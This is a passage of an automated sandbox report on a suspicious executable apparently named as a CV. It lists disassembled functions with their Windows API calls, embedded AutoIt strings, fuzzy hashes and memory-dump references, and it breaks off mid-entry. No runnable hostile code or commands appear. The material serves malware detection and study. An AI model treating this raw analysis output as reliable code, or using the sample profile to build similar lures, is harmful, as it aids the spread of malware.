Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 8fec33f372702eaa7a69c64aa77ead3040d08f0d104eccc32985462ea4edd9b6
Instruction ID: 1cc1654c7fbe7efc2a11ab29ced6f1c9d927efde71b499045e1d7c03057b97a6
Opcode Fuzzy Hash: 8fec33f372702eaa7a69c64aa77ead3040d08f0d104eccc32985462ea4edd9b6
Instruction Fuzzy Hash: 1D81C4310083059BDB06DF50C985FEA7BE8FF84718F05446AFE8A9A496EB34DD45CBA1

Function 003BD6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 003BD753

Strings

[HANDLE:, xrefs: 003BD75F
LAST, xrefs: 003BD718
REGEXP=, xrefs: 003BD768
CLASSNAME=, xrefs: 003BD790
[ACTIVE, xrefs: 003BD740
ACTIVE, xrefs: 003BD72E
[CLASS:, xrefs: 003BD7A3
[LAST, xrefs: 003BD800
[ALL, xrefs: 003BD7F9
HANDLE=, xrefs: 003BD74C
[REGEXPTITLE:, xrefs: 003BD77B
ALL, xrefs: 003BD7E7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 8f8554615ad0937117da267620b65c5b442d3c7c18ab509f5b4561bec41ff2dc
Instruction ID: 1c7c16292abf650c6c63a614355080913fd702d12a195b76de41c29f6c9684b0
Opcode Fuzzy Hash: 8f8554615ad0937117da267620b65c5b442d3c7c18ab509f5b4561bec41ff2dc
Instruction Fuzzy Hash: 1C31CF31644305AADB17FE20EE43FEDB3A89F24718F30106AF541B94D5FFA5AA04C615

Function 003BEA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 003BEAB0
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 003BEAC2
SetWindowTextW.USER32(?,?), ref: 003BEAD9
GetDlgItem.USER32(?,000003EA), ref: 003BEAEE
SetWindowTextW.USER32(00000000,?), ref: 003BEAF4
GetDlgItem.USER32(?,000003E9), ref: 003BEB04
SetWindowTextW.USER32(00000000,?), ref: 003BEB0A
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 003BEB2B
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 003BEB45
GetWindowRect.USER32(?,?), ref: 003BEB4E
SetWindowTextW.USER32(?,?), ref: 003BEBB9
GetDesktopWindow.USER32 ref: 003BEBBF
GetWindowRect.USER32(00000000), ref: 003BEBC6
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 003BEC12
GetClientRect.USER32(?,?), ref: 003BEC1F
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 003BEC44
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 003BEC6F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: bc0c2b691a9ab521a51497dbde944e710ed65413b4b64a18e920b59c905e53b6
Instruction ID: 70fec8ba0b9004a34a438faf7a53ffd11a31c29266d4e34cc0e8c1bf2bbbaab6
Opcode Fuzzy Hash: bc0c2b691a9ab521a51497dbde944e710ed65413b4b64a18e920b59c905e53b6
Instruction Fuzzy Hash: 51515171900709EFDB21DFA8CE85FAEBBF5FF04708F014928E646A29A0C775A944CB14

Function 003D79B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 003D79C6
LoadCursorW.USER32(00000000,00007F00), ref: 003D79D1
LoadCursorW.USER32(00000000,00007F03), ref: 003D79DC
LoadCursorW.USER32(00000000,00007F8B), ref: 003D79E7
LoadCursorW.USER32(00000000,00007F01), ref: 003D79F2
LoadCursorW.USER32(00000000,00007F81), ref: 003D79FD
LoadCursorW.USER32(00000000,00007F88), ref: 003D7A08
LoadCursorW.USER32(00000000,00007F80), ref: 003D7A13
LoadCursorW.USER32(00000000,00007F86), ref: 003D7A1E
LoadCursorW.USER32(00000000,00007F83), ref: 003D7A29
LoadCursorW.USER32(00000000,00007F85), ref: 003D7A34
LoadCursorW.USER32(00000000,00007F82), ref: 003D7A3F
LoadCursorW.USER32(00000000,00007F84), ref: 003D7A4A
LoadCursorW.USER32(00000000,00007F04), ref: 003D7A55
LoadCursorW.USER32(00000000,00007F02), ref: 003D7A60
LoadCursorW.USER32(00000000,00007F89), ref: 003D7A6B
GetCursorInfo.USER32(?), ref: 003D7A7B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: a51f28d937534fccafb9c47ab05a12d324e1b94382d2b9ec57a96d430ada8390
Instruction ID: d486833e5745f0778f9381cb3f350b9194bc311000595d40f8d90f0e8cca9d4e
Opcode Fuzzy Hash: a51f28d937534fccafb9c47ab05a12d324e1b94382d2b9ec57a96d430ada8390
Instruction Fuzzy Hash: DF3103B1D4831A6ADB119FB69C8995FBFE8FF04750F50452BA50DE7280EA78A5008FA1

Function 0038C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON

Download Yara Rule

APIs

Part of subcall function 0039E968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,0038C8B7,?,00002000,?,?,00000000,?,0038419E,?,?,?,0041DC00), ref: 0039E984

Part of subcall function 0038660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,003853B1,?,?,003861FF,?,00000000,00000001,00000000), ref: 0038662F

__wsplitpath.LIBCMT ref: 0038C93E

Part of subcall function 003A1DFC: __wsplitpath_helper.LIBCMT ref: 003A1E3C

_wcscpy.LIBCMT ref: 0038C953
_wcscat.LIBCMT ref: 0038C968
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0038C978
SetCurrentDirectoryW.KERNEL32(?), ref: 0038CABE

Part of subcall function 0038B337: _wcscpy.LIBCMT ref: 0038B36F

Strings

Unterminated string, xrefs: 003F3470
Bad directive syntax error, xrefs: 003F3429
#include depth exceeded. Make sure there are no recursive includes, xrefs: 003F3098
>>>AUTOIT SCRIPT<<<, xrefs: 003F311B
AU3!, xrefs: 0038C90C
Error opening the file, xrefs: 003F30B4, 003F313D
EA06, xrefs: 003F30C9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2258743419-1018226102
Opcode ID: 9c427cc4bdd927f46a1ab57a7ecc601d767b0d170e725b21f019f25b9a721b5a
Instruction ID: bc4ba1cfc8aec815e8a91300927d6e4e866daf576a72c94acdd4fc2d3f1f3aba
Opcode Fuzzy Hash: 9c427cc4bdd927f46a1ab57a7ecc601d767b0d170e725b21f019f25b9a721b5a
Instruction Fuzzy Hash: 4612B1715083459FC726EF24C881AAFBBE4FF99314F00495EF5899B261DB30DA49CB62

Function 003ECE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003ECEFB
DestroyWindow.USER32(?,?), ref: 003ECF73
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 003ECFF4
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 003ED016
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003ED025
DestroyWindow.USER32(?), ref: 003ED042
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00380000,00000000), ref: 003ED075
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 003ED094
GetDesktopWindow.USER32 ref: 003ED0A9
GetWindowRect.USER32(00000000), ref: 003ED0B0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 003ED0C2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 003ED0DA

Part of subcall function 0039B526: GetWindowLongW.USER32(?,000000EB), ref: 0039B537

Strings

tooltips_class32, xrefs: 003ECFED, 003ED06E
0, xrefs: 003ECF1B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
String ID: 0$tooltips_class32
API String ID: 3877571568-3619404913
Opcode ID: 20b3bcd0144c46641eab62a2e51422f015ea6baeba67fdba7e7cfa7a35ce8800
Instruction ID: 2668fddf21cd2e5a667a963aa68a9c0d9fd0d6966e50f90031511544a0843520
Opcode Fuzzy Hash: 20b3bcd0144c46641eab62a2e51422f015ea6baeba67fdba7e7cfa7a35ce8800
Instruction Fuzzy Hash: F671DCB4140344AFDB22CF68CC85F6677E5EB89304F094629F985972E0C734EC46CB16

Function 003EF351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

DragQueryPoint.SHELL32(?,?), ref: 003EF37A

Part of subcall function 003ED7DE: ClientToScreen.USER32(?,?), ref: 003ED807
Part of subcall function 003ED7DE: GetWindowRect.USER32(?,?), ref: 003ED87D
Part of subcall function 003ED7DE: PtInRect.USER32(?,?,003EED5A), ref: 003ED88D

SendMessageW.USER32(?,000000B0,?,?), ref: 003EF3E3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 003EF3EE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 003EF411
_wcscat.LIBCMT ref: 003EF441
SendMessageW.USER32(?,000000C2,00000001,?), ref: 003EF458
SendMessageW.USER32(?,000000B0,?,?), ref: 003EF471
SendMessageW.USER32(?,000000B1,?,?), ref: 003EF488
SendMessageW.USER32(?,000000B1,?,?), ref: 003EF4AA
DragFinish.SHELL32(?), ref: 003EF4B1
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 003EF59C

Strings

@GUI_DROPID, xrefs: 003EF4D1
@GUI_DRAGFILE, xrefs: 003EF54B
@GUI_DRAGID, xrefs: 003EF510

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: ef8dd696fa6dc1f920e29cb62e40fd364c10d7ae4c7d485419f74c6af35949b5
Instruction ID: da4a213885e33bf5a033e5bd6d0702d34f62779581255f74e807cf9c9cefc470
Opcode Fuzzy Hash: ef8dd696fa6dc1f920e29cb62e40fd364c10d7ae4c7d485419f74c6af35949b5
Instruction Fuzzy Hash: 32614B71508340AFC702EF65CC85E9FBBE8EF89710F104A2EF595A61A1DB70DA09CB56

Function 003CAAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 003CAB3D
VariantCopy.OLEAUT32(?,?), ref: 003CAB46
VariantClear.OLEAUT32(?), ref: 003CAB52
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 003CAC40
__swprintf.LIBCMT ref: 003CAC70
VarR8FromDec.OLEAUT32(?,?), ref: 003CAC9C
VariantInit.OLEAUT32(?), ref: 003CAD4D
SysFreeString.OLEAUT32(00000016), ref: 003CADDF
VariantClear.OLEAUT32(?), ref: 003CAE35
VariantClear.OLEAUT32(?), ref: 003CAE44
VariantInit.OLEAUT32(00000000), ref: 003CAE80

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 003CAC6A
Default, xrefs: 003CACFD

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 233bbf7e72d7485e3631ca90c9e9311235b84edb3fc53fb69226b2f988e963d8
Instruction ID: 07e67e41a652bc7f4443b8a5fe2c241e22efd82c8da8c6c311ae18639cc2243e
Opcode Fuzzy Hash: 233bbf7e72d7485e3631ca90c9e9311235b84edb3fc53fb69226b2f988e963d8
Instruction Fuzzy Hash: CAD1FF71A00A19DBCF16AF65C884F6AB7B9BF04704F15806DE405EB580DB34EC40DBA2

Function 003E716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 003E71FC
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 003E7247

Strings

GETITEMCOUNT, xrefs: 003E7311
ISCHECKED, xrefs: 003E73B2
UNCHECK, xrefs: 003E740B
COLLAPSE, xrefs: 003E728D
GETTOTALCOUNT, xrefs: 003E722A
GETTEXT, xrefs: 003E7382
SELECT, xrefs: 003E73E0
CHECK, xrefs: 003E7267
GETSELECTED, xrefs: 003E733F
EXISTS, xrefs: 003E72B0
EXPAND, xrefs: 003E72E1

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 6e8a961eac16ad285aed6794591b87bbcda57fb1b5f99705e4ef8a73e0eb79ef
Instruction ID: 121705043d7b3711268a165047d1b58a46d05551fb29c88ccb5a2c6ec14a38d6
Opcode Fuzzy Hash: 6e8a961eac16ad285aed6794591b87bbcda57fb1b5f99705e4ef8a73e0eb79ef
Instruction Fuzzy Hash: FC919F342047519BCB16FF21C851AAEB7A5BF84304F044999F9966B7E2DB30ED0ADB81

Function 003BCB82 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,003BCF50), ref: 003BCE90

Strings

CLASS, xrefs: 003BCC10
INSTANCE, xrefs: 003BCD9E
L+C, xrefs: 003BCD14
H+C, xrefs: 003BCCE8
REGEXPCLASS, xrefs: 003BCC56
P+C, xrefs: 003BCD43
4+C, xrefs: 003BCC96
NAME, xrefs: 003BCCC2
CLASSNN, xrefs: 003BCC33
T+C, xrefs: 003BCD72
TEXT, xrefs: 003BCDC7

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ChildEnumWindows
String ID: 4+C$CLASS$CLASSNN$H+C$INSTANCE$L+C$NAME$P+C$REGEXPCLASS$T+C$TEXT
API String ID: 3555792229-4208749292
Opcode ID: a27f601f53935fc7551014b3a4f51040a70fad76b847a8bd89557f077e40e722
Instruction ID: 19031b7551f364f7cab0b04da9044d82b1720450003ae603f6450da3adc9bcef
Opcode Fuzzy Hash: a27f601f53935fc7551014b3a4f51040a70fad76b847a8bd89557f077e40e722
Instruction Fuzzy Hash: D4919530A10606DBCB2AEF60C482BEAFB75FF04304F509559DA59AB651DF30B959CBD0

Function 003EE4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 003EE5AB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,003E9808,?), ref: 003EE607
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 003EE647
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 003EE68C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 003EE6C3
FreeLibrary.KERNEL32(?,00000004,?,?,?,003E9808,?), ref: 003EE6CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 003EE6DF
DestroyIcon.USER32(?), ref: 003EE6EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 003EE70B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 003EE717

Part of subcall function 003A0FA7: __wcsicmp_l.LIBCMT ref: 003A1030

Strings

.dll, xrefs: 003EE564
.icl, xrefs: 003EE521
.exe, xrefs: 003EE541

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 92377dcedf7cb9136f9d99e674457ff8ed2e04d8bb4d0400780f4d567a592f53
Instruction ID: f41993837c03f3a9bcfa994eaa3e1418fa8949d2ab9a0a1c0e3fc713c9042315
Opcode Fuzzy Hash: 92377dcedf7cb9136f9d99e674457ff8ed2e04d8bb4d0400780f4d567a592f53
Instruction Fuzzy Hash: 8561E171900265FAEB26DF65CC46FBE77A8BB08724F104215F911EA1D1EB74E980CB64

Function 003CD219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0038936C: __swprintf.LIBCMT ref: 003893AB
Part of subcall function 0038936C: __itow.LIBCMT ref: 003893DF

CharLowerBuffW.USER32(?,?), ref: 003CD292
GetDriveTypeW.KERNEL32 ref: 003CD2DF
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003CD327
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003CD35E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003CD38C

Strings

type cdaudio alias cd wait, xrefs: 003CD30A
close cd wait, xrefs: 003CD377
set cd door , xrefs: 003CD32D
close, xrefs: 003CD298
closed, xrefs: 003CD2A6, 003CD2AF
wait, xrefs: 003CD349
open , xrefs: 003CD2EE
open, xrefs: 003CD2B9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1148790751-4113822522
Opcode ID: 0f144b4440fec817045cfbddefedfda35b5f665a76d1161b0ab929cdd57e2862
Instruction ID: 157e8f063978cf5826511136f2eb958092bd06f86b939a177d4129abfb4effb5
Opcode Fuzzy Hash: 0f144b4440fec817045cfbddefedfda35b5f665a76d1161b0ab929cdd57e2862
Instruction Fuzzy Hash: 3A513B75504705AFC702FF20C98196AB7E4FF98718F10886DF885AB261DB35EE09CB52

Function 003C26BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,003F3973,00000016,0000138C,00000016,?,00000016,0041DDB4,00000000,?), ref: 003C26F1
LoadStringW.USER32(00000000,?,003F3973,00000016), ref: 003C26FA
GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,003F3973,00000016,0000138C,00000016,?,00000016,0041DDB4,00000000,?,00000016), ref: 003C271C
LoadStringW.USER32(00000000,?,003F3973,00000016), ref: 003C271F
__swprintf.LIBCMT ref: 003C276F
__swprintf.LIBCMT ref: 003C2780
_wprintf.LIBCMT ref: 003C2829
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003C2840

Strings

Line %d (File "%s"):, xrefs: 003C2769
Error: , xrefs: 003C27F7
%s (%d) : ==> %s: %s %s, xrefs: 003C2824
Line %d:, xrefs: 003C277A
^ ERROR, xrefs: 003C27D5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 618562835-2268648507
Opcode ID: 675f737c5e6b10f2192409b5b0f2247dad070abb57447441b454f6748a0583d8
Instruction ID: 3b3950ff7f78aecd5b22ac6550de6cf2823d1ab28798102d66ea6c230af29a34
Opcode Fuzzy Hash: 675f737c5e6b10f2192409b5b0f2247dad070abb57447441b454f6748a0583d8
Instruction Fuzzy Hash: D2413372800719BACF16FBE0DD86EEFB778AF55345F1000A5B501BA092EA756F49CB60

Function 003CD0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 003CD0D8
__swprintf.LIBCMT ref: 003CD0FA
CreateDirectoryW.KERNEL32(?,00000000), ref: 003CD137
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 003CD15C
_memset.LIBCMT ref: 003CD17B
_wcsncpy.LIBCMT ref: 003CD1B7
